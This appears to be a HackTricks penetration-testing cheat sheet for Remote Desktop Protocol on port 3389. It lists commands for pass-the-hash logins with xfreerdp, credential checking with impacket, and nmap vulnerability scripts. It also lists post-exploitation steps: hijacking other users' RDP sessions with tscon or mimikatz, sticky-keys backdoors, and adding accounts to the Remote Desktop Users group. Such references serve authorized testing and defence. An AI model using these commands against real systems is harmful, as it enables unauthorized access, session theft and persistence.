3.8 KiB
3389 - Pentesting RDP
Basic Information
Remote Desktop Protocol **RDP** is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software from [here](https://en.wikipedia.org/wiki/Remote_Desktop_Protocol).
Default port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Connect with known credentials/hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp /u:[domain\]<username> /p:<password> /v:<IP>
xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>
Brute force
Be careful, you could lock accounts
Check known credentials against RDP services
rdp_check.py from impacket let you check if some credentials are valid for a RDP service:
rdp_check <domain>/<name>:<password>@<IP>
Nmap scripts
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
It checks the available encryption and DoS vulnerability without causing DoS to the service and obtains NTLM Windows info versions.
Post-Exploitation
{% embed url="https://github.com/JoelGMSec/AutoRDPwn" %}
Launch CMD with other cretentials so they are used in the network
You can launch a new cmd to wich new credentials will be attached so, every interaction this new shell makes with the network will use the new credentials:
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" #The password will be prompted
Session stealing
With Administrator rights you can access any opened RDP session by any user without need to know the password of the owner.
Get openned sessions:
query user
Access to the selected session
tscon <ID> /dest:<SESSIONNAME>
Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.
Important: When you access an active RDP sessions you will kickoff the user that was using it.
You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user passwords in notepad without been saved in disk, other RDP sessions opened in other machines...
Mimikatz
You could also use mimikatz to do this:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Combining this technique with stickykeys or utilman you will be able to access a administrative CMD and any RDP session anytime
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Name: Notes
Description: Notes for RDP
Note: """
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software
https://book.hacktricks.xyz/pentesting/pentesting-rdp
"""
Name: Nmap
Description: Nmap with RDP Scripts
Command: """nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}"""